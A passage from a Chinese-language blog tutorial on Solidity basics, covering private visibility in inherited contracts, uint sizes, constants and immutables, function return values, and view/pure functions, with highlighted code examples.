style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">internal</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    // save 函数加入了 private 修饰符</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> save</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _num</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">private</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _num;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    // calculateAndSave 函数加入了 private 修饰符</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> calculateAndSave</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _x</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _y</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">private</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">        uint</span><span style="color:#ABB2BF"> result </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(_x, _y);</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#61AFEF">        save</span><span style="color:#ABB2BF">(result);   </span><span style="color:#7F848E;font-style:italic">// private 修饰允许合约内部调用</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> AddAndMinusCalculator</span><span style="color:#C678DD"> is</span><span style="color:#E5C07B"> AddCalculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> minus</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> addAndThenMinus</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _c</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#E5C07B">        uint</span><span style="color:#ABB2BF"> sum </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(_a, _b);</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#61AFEF"> minus</span><span style="color:#ABB2BF">(sum, _c);</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    // private 修饰不允许派生合约调用</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> addAndSave</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#61AFEF">        calculateAndSave</span><span style="color:#ABB2BF">(_a, _b);</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>在这里我们对 <code>save</code> 和 <code>calculateAndSave</code> 加入了 <code>private</code> 修饰符，于是在计算并保存的函数里我们对 <code>save</code> 进行调用是合法的，但是在下面那个派生合约里面对 <code>calculateAndSave</code> 调用就是不合法的，直接上手就是编译不通过</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">DeclarationError: Undeclared identifier.</span><br><span class="line">--&gt; privateTest.sol:38:9:</span><br><span class="line">|</span><br><span class="line">38 | calculateAndSave(_a, _b);</span><br><span class="line">| ^^^^^^^^^^^^^^^^</span><br></pre></td></tr></table></figure><h3 id="定义变量与常量"><a href="#定义变量与常量" class="headerlink" title="定义变量与常量"></a>定义变量与常量</h3><p>Solidity 不像 Python 那样，它更类似于 C，是一门静态语言，所以对于变量，必须使用前定义，定义时声明类型，在上面的例子中，你或许见过了 <code>uint</code>&#x2F;<code>uint256</code></p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> num </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div></code></pre><p>这里的 <code>uint</code> 与 <code>uint256</code> 是等价的，它是一个无符号的 256 位整数，这前面的 <code>u</code> 可以看作 <code>unsigned</code></p><p>对于一个 N 位的无符号整数，它可以表示的<strong>最小值是 0</strong>，<strong>最大值是 2^N - 1</strong>。</p><table><thead><tr><th>类型</th><th>位数 (N)</th><th>存储大小 (字节)</th><th>最小值</th><th>最大值 (2^N - 1)</th><th>备注</th></tr></thead><tbody><tr><td>uint8</td><td>8</td><td>1</td><td>0</td><td>2^8 - 1 (即 255)</td><td></td></tr><tr><td>uint16</td><td>16</td><td>2</td><td>0</td><td>2^16 - 1 (即 65,535)</td><td></td></tr><tr><td>uint24</td><td>24</td><td>3</td><td>0</td><td>2^24 - 1 (即 16,777,215)</td><td></td></tr><tr><td>uint32</td><td>32</td><td>4</td><td>0</td><td>2^32 - 1 (即 4,294,967,295)</td><td>C 的 <code>int</code>、Windows&#x2F;Linux32 下 C 的 <code>long</code></td></tr><tr><td>uint40</td><td>40</td><td>5</td><td>0</td><td>2^40 - 1</td><td></td></tr><tr><td>uint48</td><td>48</td><td>6</td><td>0</td><td>2^48 - 1</td><td></td></tr><tr><td>uint56</td><td>56</td><td>7</td><td>0</td><td>2^56 - 1</td><td></td></tr><tr><td>uint64</td><td>64</td><td>8</td><td>0</td><td>2^64 - 1</td><td>Linux64 下的 <code>long</code></td></tr><tr><td>uint72</td><td>72</td><td>9</td><td>0</td><td>2^72 - 1</td><td></td></tr><tr><td>uint80</td><td>80</td><td>10</td><td>0</td><td>2^80 - 1</td><td></td></tr><tr><td>uint88</td><td>88</td><td>11</td><td>0</td><td>2^88 - 1</td><td></td></tr><tr><td>uint96</td><td>96</td><td>12</td><td>0</td><td>2^96 - 1</td><td></td></tr><tr><td>uint104</td><td>104</td><td>13</td><td>0</td><td>2^104 - 1</td><td></td></tr><tr><td>uint112</td><td>112</td><td>14</td><td>0</td><td>2^112 - 1</td><td></td></tr><tr><td>uint120</td><td>120</td><td>15</td><td>0</td><td>2^120 - 1</td><td></td></tr><tr><td>uint128</td><td>128</td><td>16</td><td>0</td><td>2^128 - 1</td><td></td></tr><tr><td>uint136</td><td>136</td><td>17</td><td>0</td><td>2^136 - 1</td><td></td></tr><tr><td>uint144</td><td>144</td><td>18</td><td>0</td><td>2^144 - 1</td><td></td></tr><tr><td>uint152</td><td>152</td><td>19</td><td>0</td><td>2^152 - 1</td><td></td></tr><tr><td>uint160</td><td>160</td><td>20</td><td>0</td><td>2^160 - 1</td><td>足够存储一个以太坊地址作为数字 (20 字节 &#x3D; 160 位)</td></tr><tr><td>uint168</td><td>168</td><td>21</td><td>0</td><td>2^168 - 1</td><td></td></tr><tr><td>uint176</td><td>176</td><td>22</td><td>0</td><td>2^176 - 1</td><td></td></tr><tr><td>uint184</td><td>184</td><td>23</td><td>0</td><td>2^184 - 1</td><td></td></tr><tr><td>uint192</td><td>192</td><td>24</td><td>0</td><td>2^192 - 1</td><td></td></tr><tr><td>uint200</td><td>200</td><td>25</td><td>0</td><td>2^200 - 1</td><td></td></tr><tr><td>uint208</td><td>208</td><td>26</td><td>0</td><td>2^208 - 1</td><td></td></tr><tr><td>uint216</td><td>216</td><td>27</td><td>0</td><td>2^216 - 1</td><td></td></tr><tr><td>uint224</td><td>224</td><td>28</td><td>0</td><td>2^224 - 1</td><td></td></tr><tr><td>uint232</td><td>232</td><td>29</td><td>0</td><td>2^232 - 1</td><td></td></tr><tr><td>uint240</td><td>240</td><td>30</td><td>0</td><td>2^240 - 1</td><td></td></tr><tr><td>uint248</td><td>248</td><td>31</td><td>0</td><td>2^248 - 1</td><td></td></tr><tr><td>uint256</td><td>256</td><td>32</td><td>0</td><td>2^256 - 1 (~1.1579 x 10^77)</td><td>EVM 原生字大小，通常是最高效的类型。</td></tr><tr><td>uint</td><td>256</td><td>32</td><td>0</td><td>2^256 - 1 (~1.1579 x 10^77)</td><td>uint256 的别名。在不指定位数时默认使用。</td></tr></tbody></table><p>这里 <code>uint</code> 后面的数字，其实就是 bit 数（计算机常识：1 Byte &#x3D; 8 bit）</p><p>与 C 类似，定义一个变量的格式为 <code>&lt;type&gt; &lt;visibility&gt; &lt;name&gt;</code>，例如 <code>uint public num</code> 就是一个公开的 uint 类型的名为 num 的变量，需要注意的是，当没有对可见性添加指定，默认为 <code>internal</code></p><p>合约中变量会在区块链中分配一个存储单元，这个变量是“变”的，也成为状态变量</p><p>当然了，有“变”量，就有“不可变”量，在 Solidity 中，“不可变”量有我们常说的 <code>常量</code> 和 <code>不可变量</code>（对它的名字就叫做 <code>不可变量</code>，这就是为啥前面我用引号把那三个字括起来）</p><h4 id="常量"><a href="#常量" class="headerlink" title="常量"></a>常量</h4><p>与 C 类似但稍有不同的是，我们使用 <code>constant</code> 关键词来声明一个变量为常量（常量不占用合约存储空间）</p><div class="note warning flat"><p><code>constant</code> 关键词只用于修饰 <code>strings</code> 和任意值类型（关于值类型，下面会说到）</p></div><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#C678DD"> constant</span><span style="color:#ABB2BF"> pi </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 3.1415926</span><span style="color:#ABB2BF">;</span></div></code></pre><p>在这里，我声明了一个名为 <code>pi</code> 的常量并把它的值设置为 <code>3.1415926</code>，常量一旦声明就不可以进行变更</p><p>并且需要注意的是：<strong>常量只能在定义的时候就进行赋值，并且等号右边的式子在编译时必须有一个确切的结果</strong></p><p>下面我们看一个违反上面这句话的例子</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 5</span><span style="color:#ABB2BF">; </span><span style="color:#7F848E;font-style:italic">// _a 是一个运行时变量</span></div><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> _b </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 10</span><span style="color:#ABB2BF">; </span><span style="color:#7F848E;font-style:italic">// _b 是一个运行时变量</span></div><div class="line"></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#E5C07B">uint</span><span style="color:#C678DD"> constant</span><span style="color:#ABB2BF"> sum </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;    </span><span style="color:#7F848E;font-style:italic">// 编译出错，因为在编译过程中，`_a + _b` 的结果不确定，常量在编译时赋值</span></div></code></pre><p>这里可以看到，我们定义了变量 <code>_a</code> 和 <code>_b</code>，但是这两个变量是在运行代码的时候才进行赋值的，在编译过程中，它们的值仍然是未知的，所以在第四行中的 <code>sum = _a + _b</code> 会编译出错，因为右值不确定</p><h4 id="不可变量"><a href="#不可变量" class="headerlink" title="不可变量"></a>不可变量</h4><p>不可变量同样是一类不可改变的变量，只不过与常量不同的是，常量的赋值是在编译时赋值的，而不可变量是在运行时赋值的（不可变量不占用合约存储空间）</p><p>我们可以用关键词 <code>immutable</code> 来进行不可变量的声明，一般不可变量可以用来定义地址</p><p>下面的代码展示了通过不可变量存储佣金的数量和接受者的地址的过程</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> immutable_test</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#E5C07B">address</span><span style="color:#C678DD"> immutable</span><span style="color:#ABB2BF"> receiver;</span><span style="color:#7F848E;font-style:italic">// 定义接受者地址</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#E5C07B">uint</span><span style="color:#C678DD"> immutable</span><span style="color:#ABB2BF"> commission;</span><span style="color:#7F848E;font-style:italic">// 定义佣金</span></div><div class="line"><span style="color:#ABB2BF"></span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">constructor</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">address</span><span style="color:#ABB2BF;font-style:italic"> _receiver</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _commission</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#7F848E;font-style:italic">        // 运行时进行赋值，这里赋值的“时间”与常量是不同的</span></div><div class="line"><span style="color:#ABB2BF">receiver </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _receiver;</span></div><div class="line"><span style="color:#ABB2BF">commission </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _commission;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><h3 id="定义函数"><a href="#定义函数" class="headerlink" title="定义函数"></a>定义函数</h3><p>在上面的各种示例代码中，我们或多或少都定义了函数</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> Calculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> Storage;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> save</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _num</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _num;</span></div><div class="line"><span style="color:#ABB2BF"></span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> minus</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125; </span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>与 Javascript 类似，我们使用关键词 <code>function</code> 开头来在合约里面定义一个函数，函数的定义中涉及到的各个关键词按照以下顺序排列</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> 函数名</span><span style="color:#ABB2BF">(&#x3C;</span><span style="color:#E06C75;font-style:italic">参数类型</span><span style="color:#ABB2BF">> &#x3C;</span><span style="color:#E06C75;font-style:italic">参数名</span><span style="color:#ABB2BF">>) &#x3C;</span><span style="color:#61AFEF">可见性</span><span style="color:#ABB2BF">> &#x3C;</span><span style="color:#61AFEF">状态可变性</span><span style="color:#ABB2BF">> [</span><span style="color:#C678DD">returns</span><span style="color:#ABB2BF">(&#x3C;</span><span style="color:#E06C75;font-style:italic">返回类型</span><span style="color:#ABB2BF">>)] &#123; &#125;</span></div></code></pre><h4 id="函数传参"><a href="#函数传参" class="headerlink" title="函数传参"></a>函数传参</h4><p>与 C&#x2F;C++ 类似，在定义函数参数的时候，必须声明它的类型</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">)</span></div></code></pre><p>在这里我们声明了名为 <code>add</code> 的函数，并且接受两个 <code>uint</code> 类型参数 <code>_a</code> 和 <code>_b</code></p><h4 id="函数返回值"><a href="#函数返回值" class="headerlink" title="函数返回值"></a>函数返回值</h4><p>在定义函数的时候，如果函数具有返回值，那么我们必须声明函数的返回值类型（当然了，如果没有返回值这部分是可以省略的）</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span><span style="color:#7F848E;font-style:italic">// 定义了 uint 类型返回，在这里使用 return 来返回函数值</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>在这里，我们给 <code>add</code> 函数添加了返回值 <code>uint</code> 类型的声明，这样我们就可以在函数中使用 <code>return</code> 来返回值了</p><p>不过，我们也可以不使用 return 的显式返回，我们在 <code>returns</code> 的括号里面，可以指定变量，例如</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#E06C75;font-style:italic"> result</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#ABB2BF">result </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;  </span><span style="color:#7F848E;font-style:italic">// 通过给 result 赋值来完成返回</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>这样通过指定变量 <code>result</code> 并给  <code>result</code> 赋值，也可以完成返回</p><p>在 Solidity 中，我们是可以返回多个返回值的（类似于 Python）</p><p>例如，在 Python 中，我们手动构造一个递增队列</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">generate</span>(<span class="params">start: <span class="built_in">int</span></span>) -&gt; <span class="built_in">tuple</span>:</span><br><span class="line">    <span class="keyword">return</span> (start, start + <span class="number">1</span>, start + <span class="number">2</span>)</span><br></pre></td></tr></table></figure><p>这样我们通过如下的方式调用的时候，可以得到一个元组，并且我们是可以通过解包的方式拆出来的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    a, b, c = generate(<span class="number">1</span>)</span><br><span class="line">    <span class="built_in">print</span>(a, b, c)</span><br><span class="line">    <span class="comment"># 输出：1 2 3</span></span><br></pre></td></tr></table></figure><p>而在 Solidity 中，我们可以在 <code>returns</code> 里面指定多个变量类型，来完成多个值的返回</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> generate</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _start</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#7F848E;font-style:italic">// 在 returns 的括号中指定了三个 uint 类型返回</span></div><div class="line"><span style="color:#C678DD">returns</span><span style="color:#ABB2BF"> (</span><span style="color:#ABB2BF;font-style:italic">_start</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">_start</span><span style="color:#ABB2BF"> + </span><span style="color:#E06C75;font-style:italic">1</span><span style="color:#ABB2BF">, </span><span style="color:#ABB2BF;font-style:italic">_start</span><span style="color:#ABB2BF"> + </span><span style="color:#E06C75;font-style:italic">2</span><span style="color:#ABB2BF">);</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>这样，我们在调用的时候就可以得到多个值，而调用的方法也很简单，与 Python 是非常类似的</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> a, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> b, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> c </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> generate</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">);</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#7F848E;font-style:italic">// a = 1, b = 2, c = 3</span></div></code></pre><h4 id="状态可变性"><a href="#状态可变性" class="headerlink" title="状态可变性"></a>状态可变性</h4><p>你或许发现了，在上面的函数中，我添加了一个关键词 <code>pure</code>，这个就涉及到了函数的状态可变性，状态可变性不是必须写的</p><h5 id="视图函数：view"><a href="#视图函数：view" class="headerlink" title="视图函数：view"></a>视图函数：<code>view</code></h5><p>视图函数表示这个函数不修改合约中的变量，这个函数是不需要消耗 gas 的（因为不涉及对状态的改变，只是在单个节点上运行特定的不涉及状态改变的功能）</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> database</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> count </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF"></span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#7F848E;font-style:italic">// add 函数涉及到了合约内部变量的修改，所以是要消耗 gas 的</span></div><div class="line"><span style="color:#ABB2BF">count </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> count </span><span style="color:#56B6C2">+</span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF"></span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> get</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> view</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#7F848E;font-style:italic">// get 函数只是在读取 count 的值并返回，这里没有修改合约内部的变量，是不需要消耗 gas 的</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#7F848E;font-style:italic">// 同时，这是一个视图函数，表示它会读取合约内部的变量状态</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> count;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>这里 <code>view</code> 关键词说明了它是个视图函数，它可以读取合约内部的变量的状态，但是不能修改合约内部变量的状态</p><p>需要注意的是，不仅是修改合约内部的变量状态被称为<strong>修改了状态</strong>，触发事件，发送代币等都会视为修改状态</p><h5 id="纯函数：pure"><a href="#纯函数：pure" class="headerlink" title="纯函数：pure"></a>纯函数：<code>pure</code></h5><p><del>纯函数说明它是纯的</del>，它甚至不能够访问合约内部的变量状态，举个例子</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> database</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> count </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> get</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span><span style="color:#7F848E;font-style:italic">// 这里把 view 修改成了 